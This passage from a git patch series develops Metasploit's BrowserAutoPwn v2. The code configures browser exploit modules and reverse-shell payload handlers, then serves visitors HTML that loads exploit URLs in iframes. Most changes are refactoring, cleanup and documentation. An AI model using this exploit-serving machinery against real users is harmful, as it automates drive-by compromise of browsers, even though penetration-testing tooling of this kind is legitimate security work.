+ print_status("Serving exploits...") + send_exploit_html(cli, serve) end From c5be1933570ba176a87a4b0eb67d4e2c977d37db Mon Sep 17 00:00:00 2001 From: wchen-r7 Date: Mon, 11 May 2015 18:21:50 -0500 Subject: [PATCH 029/150] Maybe put custom content at the bottom? --- lib/msf/core/exploit/browserautopwnv2.rb | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/lib/msf/core/exploit/browserautopwnv2.rb b/lib/msf/core/exploit/browserautopwnv2.rb index 518fbe1fd0..4ee8893dee 100644 --- a/lib/msf/core/exploit/browserautopwnv2.rb +++ b/lib/msf/core/exploit/browserautopwnv2.rb @@ -438,9 +438,9 @@ module Msf - #{datastore['Content']} - | + + #{datastore['Content']}| end end From 9bba95c2a3ee4901b9ea3b486d5bb9f4c7dfb92a Mon Sep 17 00:00:00 2001 From: wchen-r7 Date: Tue, 12 May 2015 01:47:03 -0500 Subject: [PATCH 030/150] Include more options --- lib/msf/core/exploit/browserautopwnv2.rb | 20 ++++++++++++-------- 1 file changed, 12 insertions(+), 8 deletions(-) diff --git a/lib/msf/core/exploit/browserautopwnv2.rb b/lib/msf/core/exploit/browserautopwnv2.rb index 4ee8893dee..a8a163890a 100644 --- a/lib/msf/core/exploit/browserautopwnv2.rb +++ b/lib/msf/core/exploit/browserautopwnv2.rb @@ -62,14 +62,18 @@ module Msf # @return [void] def set_exploit_options(xploit) p = select_payload(xploit) - xploit.datastore['DisablePayloadHandler'] = true # BAP should handle the handlers - xploit.datastore['PAYLOAD'] = p['payload'] # We'll need this information later for multi handler - xploit.datastore['LPORT'] = p['lport'] # We'll need this information later for multi handler - xploit.datastore['SSL'] = datastore['SSL'] # Use SSL or not - xploit.datastore['SSLVersion'] = datastore['SSLVersion'] # SSL Version - xploit.datastore['LHOST'] = get_payload_lhost # Attacker's IP - xploit.datastore['URIPATH'] = "/#{assign_module_resource}" # A unique resource URI for the exploit - xploit.datastore['SRVHOST'] = datastore['SRVHOST'] # Exploit's host + xploit.datastore['DisablePayloadHandler'] = true + xploit.datastore['PAYLOAD'] = p['payload'] + xploit.datastore['LPORT'] = p['lport'] + xploit.datastore['SSL'] = datastore['SSL'] + xploit.datastore['SSLVersion'] = datastore['SSLVersion'] + xploit.datastore['LHOST'] = get_payload_lhost + xploit.datastore['URIPATH'] = "/#{assign_module_resource}" + xploit.datastore['SRVHOST'] = datastore['SRVHOST'] + xploit.datastore['JsObfuscate'] = datastore['JsObfuscate'] + xploit.datastore['CookieName'] = datastore['CookieName'] + xploit.datastore['VERBOSE'] = datastore['VERBOSE'] + xploit.datastore['Retries'] = datastore['Retries'] xploit.datastore['MODULEOWNER'] = Msf::Exploit::Remote::BrowserAutopwnv2 # Let other mixins know we're in BrowserAutoPwn mode end From 605e492781d80ba06e7387e7763971361553cc44 Mon Sep 17 00:00:00 2001 From: wchen-r7 Date: Tue, 12 May 2015 01:55:22 -0500 Subject: [PATCH 031/150] Avoid #create if possible --- lib/msf/core/exploit/browserautopwnv2.rb | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/lib/msf/core/exploit/browserautopwnv2.rb b/lib/msf/core/exploit/browserautopwnv2.rb index a8a163890a..9476df3c2a 100644 --- a/lib/msf/core/exploit/browserautopwnv2.rb +++ b/lib/msf/core/exploit/browserautopwnv2.rb @@ -186,10 +186,10 @@ module Msf def get_selected_payload_name(platform) payload_name = datastore["PAYLOAD_#{platform.upcase}"] - p = framework.payloads.create(payload_name) # The payload is legit, we can use it. - return payload_name if p + # Avoid #create seems faster + return payload_name if framework.payloads.keys.include?(payload_name) default = DEFAULT_PAYLOADS[platform]['payload'] print_status("Unknown payload set: #{payload_name}. Falling back to: #{default}.") From a7e265b07eeb67fadaf02ed7f0445a75bc2bc2b8 Mon Sep 17 00:00:00 2001 From: wchen-r7 Date: Wed, 13 May 2015 13:46:06 -0500 Subject: [PATCH 032/150] Proper cleanup for notes --- lib/msf/core/exploit/browserautopwnv2.rb | 20 +++++++++++++ .../exploit/remote/browser_exploit_server.rb | 28 +++++++++++++++++++ .../exploit/remote/browser_profile_manager.rb | 11 +++++--- 3 files changed, 55 insertions(+), 4 deletions(-) diff --git a/lib/msf/core/exploit/browserautopwnv2.rb b/lib/msf/core/exploit/browserautopwnv2.rb index 9476df3c2a..f1a616b44e 100644 --- a/lib/msf/core/exploit/browserautopwnv2.rb +++ b/lib/msf/core/exploit/browserautopwnv2.rb @@ -56,6 +56,25 @@ module Msf end end + def note_type_prefix + @note_type_prefix ||= "BAP.#{Time.now.to_i}.Client" + end + + def rm_target_info_notes + return unless framework.db.active + ::ActiveRecord::Base.connection_pool.with_connection { + framework.db.notes.each do |note| + if note.ntype.include?(note_type_prefix) + note.destroy + end + end + } + end + + def cleanup + rm_target_info_notes + end + # Modifies an exploit's default datastore options. # @@ -63,6 +82,7 @@ module Msf def set_exploit_options(xploit) p = select_payload(xploit) xploit.datastore['DisablePayloadHandler'] = true + xploit.datastore['NoteTypePrefix'] = note_type_prefix xploit.datastore['PAYLOAD'] = p['payload'] xploit.datastore['LPORT'] = p['lport'] xploit.datastore['SSL'] = datastore['SSL'] diff --git a/lib/msf/core/exploit/remote/browser_exploit_server.rb b/lib/msf/core/exploit/remote/browser_exploit_server.rb index 6e2edcc9f4..8936473caa 100644 --- a/lib/msf/core/exploit/remote/browser_exploit_server.rb +++ b/lib/msf/core/exploit/remote/browser_exploit_server.rb @@ -111,6 +111,34 @@ module Msf end + # This overrides the #note_type_prefix method from Msf::Exploit::Remote::BrowserProfileManager. + # There are two way for BES to get this prefix, either: + # * It comes from a datastore option. It allows BrowserAutoPwn to share the unique prefix with + # its child exploits, so that these exploits don't have to gather browser information again. + # * If the datastore option isn't set, then we assume the user is firing the exploit as a + # standalone so we make somthing more unique, so that if there are two instances using the + # same exploit, they don't actually share info. + def note_type_prefix + self.datastore['NoteTypePrefix'] || @unique_prefix ||= lambda { + "#{self.shortname}.#{Time.now.to_i}.Client" + }.call + end + + def cleanup + # Whoever registered NoteTypePrefix should do the cleanup for notes + return if self.datastore['NoteTypePrefix'] + + return unless framework.db.active + ::ActiveRecord::Base.connection_pool.with_connection { + framework.db.notes.each do |note| + if note.ntype =~ /^#{self.shortname}\.\d+\.Client/ + note.destroy + end + end + } + end + + # Returns the custom 404 URL set by the user # # @return [String] diff --git a/lib/msf/core/exploit/remote/browser_profile_manager.rb b/lib/msf/core/exploit/remote/browser_profile_manager.rb index 3e295c65de..4408f9886b 100644 --- a/lib/msf/core/exploit/remote/browser_profile_manager.rb +++ b/lib/msf/core/exploit/remote/browser_profile_manager.rb @@ -5,10 +5,13 @@ module Msf public - NOTE_TYPE_PREFIX = 'BrowserExploitServer.Client' + # Default prefix + def note_type_prefix + raise NoMethodError, "A mixin that's using BrowserProfileManager should define note_type_prefix" + end def get_profile_info(tag) - normalized_tag = "#{NOTE_TYPE_PREFIX}.#{tag}" + normalized_tag = "#{note_type_prefix}.#{tag}" framework.db.notes.each do |note| return MessagePack.unpack(note.data) if note.ntype == normalized_tag end @@ -23,7 +26,7 @@ module Msf profile = get_profile_info(tag) end - normalized_tag = "#{NOTE_TYPE_PREFIX}.#{tag}" + normalized_tag = "#{note_type_prefix}.#{tag}" profile[normalized_tag][key.to_s] = value framework.db.report_note( :type => normalized_tag, @@ -33,7 +36,7 @@ module Msf end def init_profile(tag) - normalized_tag = "#{NOTE_TYPE_PREFIX}.#{tag}" + normalized_tag = "#{note_type_prefix}.#{tag}" empty_profile = { normalized_tag => {} } framework.db.report_note( :type => normalized_tag, From e4fed019acf24f884189bab3291f504e31cd18b6 Mon Sep 17 00:00:00 2001 From: wchen-r7 Date: Wed, 13 May 2015 13:51:59 -0500 Subject: [PATCH 033/150] Hide exploit paths As an user, you shouldn't be using exploit paths so we hide them by default. --- lib/msf/core/exploit/browserautopwnv2.rb | 22 ++++++++++++++-------- 1 file changed, 14 insertions(+), 8 deletions(-) diff --git a/lib/msf/core/exploit/browserautopwnv2.rb b/lib/msf/core/exploit/browserautopwnv2.rb index f1a616b44e..5871050b20 100644 --- a/lib/msf/core/exploit/browserautopwnv2.rb +++ b/lib/msf/core/exploit/browserautopwnv2.rb @@ -346,10 +346,16 @@ module Msf def show_ready_exploits + columns = ['Order', 'Rank', 'Name', 'Path', 'Payload'] + + # If not verbose, you're not in dev mode. + # As an user, you shouldn't be using any of these paths anyway. + columns.delete('Path') if !datastore['VERBOSE'] + table = Rex::Ui::Text::Table.new( 'Header' => 'Exploits', 'Indent' => 1, - 'Columns' => ['Order', 'Rank', 'Name', 'Path', 'Payload'] + 'Columns' => columns ) # Without the order, sometimes the Rex table messes up even though in the array @@ -357,13 +363,13 @@ module Msf order = 1 bap_exploits.each do |m| - table << [ - order, - parse_rank(m.rank), - m.shortname, - m.datastore['URIPATH'], - "#{m.datastore['PAYLOAD']} on #{m.datastore['LPORT']}" - ] + row = [] + row << order + row << parse_rank(m.rank) + row << m.shortname + row << m.datastore['URIPATH'] if datastore['VERBOSE'] + row << "#{m.datastore['PAYLOAD']} on #{m.datastore['LPORT']}" + table << row order += 1 end From 66391493f42886d1dbbc503ab7d93dd2257956a1 Mon Sep 17 00:00:00 2001 From: wchen-r7 Date: Wed, 13 May 2015 15:34:01 -0500 Subject: [PATCH 034/150] Pass only the datastore options we need --- lib/msf/core/exploit/browserautopwnv2.rb | 57 ++++++++++++++++-------- 1 file changed, 38 insertions(+), 19 deletions(-) diff --git a/lib/msf/core/exploit/browserautopwnv2.rb b/lib/msf/core/exploit/browserautopwnv2.rb index 5871050b20..8b9df65a22 100644 --- a/lib/msf/core/exploit/browserautopwnv2.rb +++ b/lib/msf/core/exploit/browserautopwnv2.rb @@ -80,21 +80,27 @@ module Msf # # @return [void] def set_exploit_options(xploit) + # We could do a massive xploit.datastore.merge!(self.datastore), but this seems + # really expensive. Costs more loading time. + + # Set options configurable by the user. p = select_payload(xploit) + xploit.datastore['PAYLOAD'] = p['payload'] + xploit.datastore['LPORT'] = p['lport'] + xploit.datastore['SRVHOST'] = datastore['SRVHOST'] + xploit.datastore['JsObfuscate'] = datastore['JsObfuscate'] if datastore['JsObfuscate'] + xploit.datastore['CookieName'] = datastore['CookieName'] if datastore['CookieName'] + xploit.datastore['VERBOSE'] = datastore['VERBOSE'] if datastore['VERBOSE'] + xploit.datastore['Retries'] = datastore['Retries'] if datastore['Retries'] + xploit.datastore['SSL'] = datastore['SSL'] if datastore['SSL'] + xploit.datastore['SSLVersion'] = datastore['SSLVersion'] if datastore['SSLVersion'] + xploit.datastore['LHOST'] = get_payload_lhost + + # Set options only configurable by BAP. xploit.datastore['DisablePayloadHandler'] = true - xploit.datastore['NoteTypePrefix'] = note_type_prefix - xploit.datastore['PAYLOAD'] = p['payload'] - xploit.datastore['LPORT'] = p['lport'] - xploit.datastore['SSL'] = datastore['SSL'] - xploit.datastore['SSLVersion'] = datastore['SSLVersion'] - xploit.datastore['LHOST'] = get_payload_lhost - xploit.datastore['URIPATH'] = "/#{assign_module_resource}" - xploit.datastore['SRVHOST'] = datastore['SRVHOST'] - xploit.datastore['JsObfuscate'] = datastore['JsObfuscate'] - xploit.datastore['CookieName'] = datastore['CookieName'] - xploit.datastore['VERBOSE'] = datastore['VERBOSE'] - xploit.datastore['Retries'] = datastore['Retries'] - xploit.datastore['MODULEOWNER'] = Msf::Exploit::Remote::BrowserAutopwnv2 # Let other mixins know we're in BrowserAutoPwn mode + xploit.datastore['NoteTypePrefix'] = note_type_prefix + xploit.datastore['URIPATH'] = "/#{assign_module_resource}" + xploit.datastore['MODULEOWNER'] = Msf::Exploit::Remote::BrowserAutopwnv2 end @@ -242,12 +248,25 @@ module Msf next unless is_payload_handler_wanted?(listener_info['payload']) multi_handler = framework.modules.create('exploit/multi/handler') - multi_handler.datastore['LHOST'] = get_payload_lhost - multi_handler.datastore['PAYLOAD'] = get_selected_payload_name(platform) - multi_handler.datastore['LPORT'] = get_selected_payload_lport(platform) + # User configurable options + # We could do a massive multi_handler.datastore.merge!(self.datastore), but this seems + # really expensive. Costs more loading time. + multi_handler.datastore['LHOST'] = get_payload_lhost + multi_handler.datastore['PAYLOAD'] = get_selected_payload_name(platform) + multi_handler.datastore['LPORT'] = get_selected_payload_lport(platform) + multi_handler.datastore['DebugOptions'] = datastore['DebugOptions'] if datastore['DebugOptions'] + multi_handler.datastore['AutoLoadAndroid'] = datastore['AutoLoadAndroid'] if datastore['AutoLoadAndroid'] + multi_handler.datastore['PrependMigrate'] = datastore['PrependMigrate'] if datastore['PrependMigrate'] + multi_handler.datastore['PrependMigrateProc'] = datastore['PrependMigrateProc'] if datastore['PrependMigrateProc'] + multi_handler.datastore['InitialAutoRunScript'] = datastore['InitialAutoRunScript'] if datastore['InitialAutoRunScript'] + multi_handler.datastore['AutoRunScript'] = datastore['AutoRunScript'] if datastore['AutoRunScript'] + + # Configurable only by BAP multi_handler.datastore['EXITONSESSION'] = false - multi_handler.datastore['EXITFUNC'] = 'thread' - multi_handler.datastore['MODULEOWNER'] = Msf::Exploit::Remote::BrowserAutopwnv2 + multi_handler.datastore['EXITFUNC'] = 'thread' + multi_handler.datastore['MODULEOWNER'] = Msf::Exploit::Remote::BrowserAutopwnv2 + + # Now we're ready to start the handler multi_handler.exploit_simple( 'LocalInput' => self.user_input, 'LocalOutput' => self.user_output, @@ -422,7 +441,7 @@ module Msf urls = [] bap_exploits.each do |mod| - proto = mod.ssl ? 'https' : 'http' + proto = datastore['SSL'] ? 'https' : 'http' host = datastore['URIHOST'] || Rex::Socket.source_address port = datastore['SRVPORT'] resource = mod.datastore['URIPATH'] From 7617217eff96bd3ba46314b335455a1bd5bacfcb Mon Sep 17 00:00:00 2001 From: wchen-r7 Date: Wed, 13 May 2015 15:55:19 -0500 Subject: [PATCH 035/150] Add ability to exclude --- lib/msf/core/exploit/browserautopwnv2.rb | 1 + modules/exploits/multi/browser/autopwn.rb | 3 ++- 2 files changed, 3 insertions(+), 1 deletion(-) diff --git a/lib/msf/core/exploit/browserautopwnv2.rb b/lib/msf/core/exploit/browserautopwnv2.rb index 8b9df65a22..8ceb15a4c5 100644 --- a/lib/msf/core/exploit/browserautopwnv2.rb +++ b/lib/msf/core/exploit/browserautopwnv2.rb @@ -43,6 +43,7 @@ module Msf # Regex search next if datastore['Include'] && fullname !~ datastore['Include'] + next if datastore['Exclude'] && fullname =~ datastore['Exclude'] mod = framework.exploits.create(fullname) unless mod diff --git a/modules/exploits/multi/browser/autopwn.rb b/modules/exploits/multi/browser/autopwn.rb index 20c17d9721..0ff11b4eb6 100644 --- a/modules/exploits/multi/browser/autopwn.rb +++ b/modules/exploits/multi/browser/autopwn.rb @@ -30,7 +30,8 @@ class Metasploit3 < Msf::Exploit::Remote register_options( [ OptEnum.new('Action', [false, 'Action', 'WebServer', ['WebServer','DefangedDetection', 'list'], 'WebServer']), - OptRegexp.new('Include', [false, 'Pattern search for specific modules to use']), + OptRegexp.new('Include', [false, 'Pattern search to include specific modules']), + OptRegexp.new('Exclude', [false, 'Pattern search to exclude specific modules']), OptString.new('Content', [false, 'HTML Content', '']) ] ,self.class) From 1a8ab91ce338779fac76b4c450cbd255b3c3c547 Mon Sep 17 00:00:00 2001 From: wchen-r7 Date: Wed, 13 May 2015 16:23:22 -0500 Subject: [PATCH 036/150] Configurable max exploits --- lib/msf/core/exploit/browserautopwnv2.rb | 4 ++-- modules/exploits/multi/browser/autopwn.rb | 1 + 2 files changed, 3 insertions(+), 2 deletions(-) diff --git a/lib/msf/core/exploit/browserautopwnv2.rb b/lib/msf/core/exploit/browserautopwnv2.rb index 8ceb15a4c5..d4c2191531 100644 --- a/lib/msf/core/exploit/browserautopwnv2.rb +++ b/lib/msf/core/exploit/browserautopwnv2.rb @@ -191,11 +191,11 @@ module Msf # @see #bap_exploits The read-only attribute. # @param [Hash] A grouped module list. # @return [void] - def finalize_sorted_modules(bap_groups, max=20) + def finalize_sorted_modules(bap_groups) @bap_exploits = [] bap_groups.each_pair do |ranking, module_list| module_list.each do |m| - break if @bap_exploits.length >= max + break if @bap_exploits.length >= datastore['MaxExploits'] @bap_exploits << m end end diff --git a/modules/exploits/multi/browser/autopwn.rb b/modules/exploits/multi/browser/autopwn.rb index 0ff11b4eb6..c765283a0d 100644 --- a/modules/exploits/multi/browser/autopwn.rb +++ b/modules/exploits/multi/browser/autopwn.rb @@ -32,6 +32,7 @@ class Metasploit3 < Msf::Exploit::Remote OptEnum.new('Action', [false, 'Action', 'WebServer', ['WebServer','DefangedDetection', 'list'], 'WebServer']), OptRegexp.new('Include', [false, 'Pattern search to include specific modules']), OptRegexp.new('Exclude', [false, 'Pattern search to exclude specific modules']), + OptInt.new('MaxExploits', [false, 'Number of browser exploits to load', 20]), OptString.new('Content', [false, 'HTML Content', '']) ] ,self.class) From a2ebfe2bf8327fe9d170c253aa5ed52710ecf13f Mon Sep 17 00:00:00 2001 From: wchen-r7 Date: Wed, 13 May 2015 18:05:10 -0500 Subject: [PATCH 037/150] Make parse_rank a little bit smarter --- lib/msf/core/exploit/browserautopwnv2.rb | 27 +++---------------- .../exploit/remote/browser_profile_manager.rb | 1 - 2 files changed, 3 insertions(+), 25 deletions(-) diff --git a/lib/msf/core/exploit/browserautopwnv2.rb b/lib/msf/core/exploit/browserautopwnv2.rb index d4c2191531..0bd44943a9 100644 --- a/lib/msf/core/exploit/browserautopwnv2.rb +++ b/lib/msf/core/exploit/browserautopwnv2.rb @@ -41,7 +41,7 @@ module Msf framework.exploits.each_pair do |fullname, plader_holder| next if !fullname.include?('browser') || self.fullname == "exploit/#{fullname}" - # Regex search + # The user gets to specify which modules to include/exclude next if datastore['Include'] && fullname !~ datastore['Include'] next if datastore['Exclude'] && fullname =~ datastore['Exclude'] @@ -65,9 +65,7 @@ module Msf return unless framework.db.active ::ActiveRecord::Base.connection_pool.with_connection { framework.db.notes.each do |note| - if note.ntype.include?(note_type_prefix) - note.destroy - end + note.destroy if note.ntype.include?(note_type_prefix) end } end @@ -288,26 +286,7 @@ module Msf def parse_rank(rank) - rank_str = '' - - case rank - when 0 - rank_str = 'Manual' - when 100 - rank_str = 'Low' - when 200 - rank_str = 'Average' - when 300 - rank_str = 'Normal' - when 400 - rank_str = 'Good' - when 500 - rank_str = 'Great' - when 600 - rank_str = 'Excellent' - end - - rank_str + RankingName[rank].to_s.capitalize end diff --git a/lib/msf/core/exploit/remote/browser_profile_manager.rb b/lib/msf/core/exploit/remote/browser_profile_manager.rb index 4408f9886b..bfbea7fb43 100644 --- a/lib/msf/core/exploit/remote/browser_profile_manager.rb +++ b/lib/msf/core/exploit/remote/browser_profile_manager.rb @@ -5,7 +5,6 @@ module Msf public - # Default prefix def note_type_prefix raise NoMethodError, "A mixin that's using BrowserProfileManager should define note_type_prefix" end From 104e0456ec0bb283a24c0e20f05bb0f09dd149f7 Mon Sep 17 00:00:00 2001 From: wchen-r7 Date: Wed, 13 May 2015 23:41:05 -0500 Subject: [PATCH 038/150] Do cleanup for jobs --- lib/msf/core/exploit/browserautopwnv2.rb | 13 +++++++++++++ 1 file changed, 13 insertions(+) diff --git a/lib/msf/core/exploit/browserautopwnv2.rb b/lib/msf/core/exploit/browserautopwnv2.rb index 0bd44943a9..b95d3fedda 100644 --- a/lib/msf/core/exploit/browserautopwnv2.rb +++ b/lib/msf/core/exploit/browserautopwnv2.rb @@ -17,6 +17,9 @@ module Msf # @return [Array] A list of initialized BAP exploits attr_reader :bap_exploits + # @return [Array] A list of module job IDs + attr_reader :module_job_ids + # The default platform-specific payloads and preferred LPORTS. # The hash key is the name of the platform that matches what's on the module. @@ -70,8 +73,15 @@ module Msf } end + def rm_jobs + module_job_ids.each do |id| + framework.jobs.stop_job(id) if framework.jobs[id.to_s] + end + end + def cleanup rm_target_info_notes + rm_jobs end @@ -272,6 +282,7 @@ module Msf 'Payload' => listener_info['payload'], 'RunAsJob' => true ) + @module_job_ids << multi_handler.job_id end end @@ -312,6 +323,7 @@ module Msf 'Payload' => m.datastore['PAYLOAD'], 'RunAsJob' => true ) + @module_job_ids << m.job_id end end @@ -327,6 +339,7 @@ module Msf self.datastore['DisablePayloadHandler'] = true super @bap_exploits = [] + @module_job_ids = [] print_status("Searching BES exploits, please wait...") init_exploits From 8bcdd08f34928324aa249cc5d5818040de9b57d1 Mon Sep 17 00:00:00 2001 From: wchen-r7 Date: Thu, 14 May 2015 19:09:38 -0500 Subject: [PATCH 039/150] Some basic code in place for real-time exploit list generation --- lib/msf/core/exploit/browserautopwnv2.rb | 27 ++++++++++++----------- modules/exploits/multi/browser/autopwn.rb | 2 +- 2 files changed, 15 insertions(+), 14 deletions(-) diff --git a/lib/msf/core/exploit/browserautopwnv2.rb b/lib/msf/core/exploit/browserautopwnv2.rb index b95d3fedda..4ac8427296 100644 --- a/lib/msf/core/exploit/browserautopwnv2.rb +++ b/lib/msf/core/exploit/browserautopwnv2.rb @@ -287,15 +287,6 @@ module Msf end - # Returns a list of suitable exploits for the current target. - # - # @param [Hash] Target's information such as the OS, browser, 3rd-party plugins, etc. - # @return [Array] A list of suitable exploits to use against the target. - def find_suitable_exploits(target_info) - $stderr.puts target_info.inspect - end - - def parse_rank(rank) RankingName[rank].to_s.capitalize end @@ -430,10 +421,20 @@ module Msf print_status("You can also see 'show advanced' for more options.") end - def get_exploit_urls + def get_suitable_exploits(cli, request) + current_exploit_list = bap_exploits.dup + tag = retrieve_tag(cli, request) + profile_info = get_profile_info(tag) + #$stderr.puts profile_info.inspect + current_exploit_list + end + + def get_exploit_urls(cli, request) urls = [] - bap_exploits.each do |mod| + exploit_list = get_suitable_exploits(cli, request) + + exploit_list.each do |mod| proto = datastore['SSL'] ? 'https' : 'http' host = datastore['URIHOST'] || Rex::Socket.source_address port = datastore['SRVPORT'] @@ -446,10 +447,10 @@ module Msf end # On the fly - def build_html + def build_html(cli, request) js = %Q| var currentIndex = 0; - var exploitList = [#{get_exploit_urls.map! {|e| "'#{e}'"} * ", "}]; + var exploitList = [#{get_exploit_urls(cli, request).map! {|e| "'#{e}'"} * ", "}]; window.onload = function() { var e = document.createElement("iframe"); diff --git a/modules/exploits/multi/browser/autopwn.rb b/modules/exploits/multi/browser/autopwn.rb index c765283a0d..a3b666a4dc 100644 --- a/modules/exploits/multi/browser/autopwn.rb +++ b/modules/exploits/multi/browser/autopwn.rb @@ -60,7 +60,7 @@ class Metasploit3 < Msf::Exploit::Remote end def on_request_exploit(cli, request, target_info) - serve = build_html + serve = build_html(cli, request) print_status("Serving exploits...") send_exploit_html(cli, serve) end From 2d310a473b00c68712ec9b74f54668669c19674d Mon Sep 17 00:00:00 2001 From: wchen-r7 Date: Thu, 14 May 2015 23:32:11 -0500 Subject: [PATCH 040/150] Do some documentation --- lib/msf/core/exploit/browserautopwnv2.rb | 85 ++++++++++++++++++- .../exploit/remote/browser_exploit_server.rb | 3 + .../exploit/remote/browser_profile_manager.rb | 23 ++++- 3 files changed, 105 insertions(+), 6 deletions(-) diff --git a/lib/msf/core/exploit/browserautopwnv2.rb b/lib/msf/core/exploit/browserautopwnv2.rb index 4ac8427296..fb00f10982 100644 --- a/lib/msf/core/exploit/browserautopwnv2.rb +++ b/lib/msf/core/exploit/browserautopwnv2.rb @@ -60,10 +60,20 @@ module Msf end end + + # Returns a note type that's unique to this BAP. + # This overrides Msf::Exploit::Remote::BrowserProfileManager#note_type_prefix so that BAP + # and all of its child exploits can share target information with each other. + # + # @return [String] def note_type_prefix @note_type_prefix ||= "BAP.#{Time.now.to_i}.Client" end + + # Removes target information owned by this BAP. + # + # @return [void] def rm_target_info_notes return unless framework.db.active ::ActiveRecord::Base.connection_pool.with_connection { @@ -73,12 +83,20 @@ module Msf } end + + # Removes jobs (exploits and payload handlers) that belong to BAP. + # + # @return [void] def rm_jobs module_job_ids.each do |id| framework.jobs.stop_job(id) if framework.jobs[id.to_s] end end + + # Cleans up everything. + # + # @return [void] def cleanup rm_target_info_notes rm_jobs @@ -210,6 +228,11 @@ module Msf end + # Verifies with current active modules and see if the payload is wanted. + # + # @param [String] payload_name The payload module path (name). + # @return [TrueClass] + # @return [FalseClass] def is_payload_handler_wanted?(payload_name) bap_exploits.each do |m| return true if m.datastore['PAYLOAD'] == payload_name @@ -219,6 +242,10 @@ module Msf end + # Returns a payload name. Either this will be the user's choice, or falls back to a default one. + # + # @param [String] platform + # @return [String] def get_selected_payload_name(platform) payload_name = datastore["PAYLOAD_#{platform.upcase}"] @@ -234,11 +261,19 @@ module Msf default end + + # Returns the selected payload's LPORT. + # + # @param [String] platform + # @return [Fixnum] def get_selected_payload_lport(platform) datastore["PAYLOAD_#{platform.upcase}_LPORT"] end + # Returns the selected payload's LHOST. + # + # @return [String] def get_payload_lhost datastore['LHOST'] || Rex::Socket.source_address end @@ -246,7 +281,6 @@ module Msf # Creates payload listeners. # - # @note INCOMPLETE # @return [void] def start_payload_listeners DEFAULT_PAYLOADS.each_pair do |platform, listener_info| @@ -287,11 +321,19 @@ module Msf end + # Returns the human-readable version of the rank. + # + # @param [Fixnum] rank + # @return [String] def parse_rank(rank) RankingName[rank].to_s.capitalize end + # Returns the selected payload. + # + # @param [Object] A module that's been initialized. + # @return [String] Payload name. Example: 'windows/meterpreter/reverse_tcp' def select_payload(m) selected_payload = DEFAULT_PAYLOADS['generic'] DEFAULT_PAYLOADS.each_pair do |p, info| @@ -305,6 +347,9 @@ module Msf end + # Starts exploits. + # + # @return [void] def start_exploits bap_exploits.each do |m| m.exploit_simple( @@ -321,8 +366,6 @@ module Msf # Sets up BAPv2. This is like our main function. # - # @see #init_exploits - # @see #sort_bap_exploits # @return [void] def setup t1 = Time.now @@ -348,6 +391,9 @@ module Msf end + # Prints all the exploits that BAP will consider using. + # + # @return [void] def show_ready_exploits columns = ['Order', 'Rank', 'Name', 'Path', 'Payload'] @@ -383,6 +429,10 @@ module Msf print_line table.to_s end + + # Prints information such as what exploits will be used, and the BAP URL. + # + # @return [void] def start_service super show_ready_exploits @@ -390,6 +440,10 @@ module Msf print_status("BrowserAutoPwn URL: #{self.get_uri}") end + + # Prints all user-configurable payloads. It's the same as the "show payloads" command in console. + # + # @return [void] def show_payloads DEFAULT_PAYLOADS.keys.each do |platform| payload_name = get_selected_payload_name(platform) @@ -402,6 +456,11 @@ module Msf end end + + # Prints a message that explains how the user should set a payload. This is the same as the + # "set payload" command in console. + # + # @return [void] def set_payload print_status("'set payload' has been disabled for BrowserAutoPwn.") print_status('You should set a platform-specific payload instead via advanced options:') @@ -421,6 +480,13 @@ module Msf print_status("You can also see 'show advanced' for more options.") end + + # Returns a list of suitable exploits for the current client. It will do a global exploitable + # requirement check. + # + # @param cli [Socket] Socket for the browser + # @param request [Rex::Proto::Http::Request] The HTTP request sent by the browser + # @return [Array] def get_suitable_exploits(cli, request) current_exploit_list = bap_exploits.dup tag = retrieve_tag(cli, request) @@ -429,6 +495,12 @@ module Msf current_exploit_list end + + # Returns a list of exploit URLs. + # + # @param cli [Socket] Socket for the browser + # @param request [Rex::Proto::Http::Request] The HTTP request sent by the browser + # @return [Array] def get_exploit_urls(cli, request) urls = [] @@ -446,7 +518,12 @@ module Msf urls end - # On the fly + + # Returns the HTML that the client will get. + # + # @param cli [Socket] Socket for the browser + # @param request [Rex::Proto::Http::Request] The HTTP request sent by the browser + # @return [String] def build_html(cli, request) js = %Q| var currentIndex = 0; diff --git a/lib/msf/core/exploit/remote/browser_exploit_server.rb b/lib/msf/core/exploit/remote/browser_exploit_server.rb index 8936473caa..104af64768 100644 --- a/lib/msf/core/exploit/remote/browser_exploit_server.rb +++ b/lib/msf/core/exploit/remote/browser_exploit_server.rb @@ -111,6 +111,7 @@ module Msf end + # Returns a note type that's unique to this browser exploit module. # This overrides the #note_type_prefix method from Msf::Exploit::Remote::BrowserProfileManager. # There are two way for BES to get this prefix, either: # * It comes from a datastore option. It allows BrowserAutoPwn to share the unique prefix with @@ -124,6 +125,8 @@ module Msf }.call end + + # Cleans up target information owned by the current module. def cleanup # Whoever registered NoteTypePrefix should do the cleanup for notes return if self.datastore['NoteTypePrefix'] diff --git a/lib/msf/core/exploit/remote/browser_profile_manager.rb b/lib/msf/core/exploit/remote/browser_profile_manager.rb index bfbea7fb43..c834d4a5a4 100644 --- a/lib/msf/core/exploit/remote/browser_profile_manager.rb +++ b/lib/msf/core/exploit/remote/browser_profile_manager.rb @@ -3,12 +3,17 @@ require 'Msgpack' module Msf module Exploit::Remote::BrowserProfileManager - public - + # @overload note_type_prefix + # Sets the note type prefix to retrieve or load target information. def note_type_prefix raise NoMethodError, "A mixin that's using BrowserProfileManager should define note_type_prefix" end + + # Returns profile information about a specific browser client. + # + # @param [String] tag A tag that's unique to the browser. Probably generated by Msf::Exploit::Remote::BrowserExploitServer#retrieve_tag. + # @return [Hash] def get_profile_info(tag) normalized_tag = "#{note_type_prefix}.#{tag}" framework.db.notes.each do |note| @@ -18,6 +23,15 @@ module Msf {} end + + # Updates profile information about a specific browser client. + # It will also automatically initialize the profile (an empty one) if it's not found. + # + # @see #init_profile + # @param [String] tag A tag that's unique to the browser. Probably generated by Msf::Exploit::Remote::BrowserExploitServer#retrieve_tag. + # @param [String] key A specific key to update (for example: os name). + # @param [String] value The value for the key. + # @return [void] def update_profile(tag, key, value) profile = get_profile_info(tag) if profile.empty? @@ -34,6 +48,11 @@ module Msf ) end + + # Initializes a profile. + # + # @param [String] tag A tag that's unique to the browser. Probably generated by Msf::Exploit::Remote::BrowserExploitServer#retrieve_tag. + # @return [void] def init_profile(tag) normalized_tag = "#{note_type_prefix}.#{tag}" empty_profile = { normalized_tag => {} } From 89be3fc1f2a7fe7e9142ff8632b004b577c7785e Mon Sep 17 00:00:00 2001 From: wchen-r7 Date: Mon, 18 May 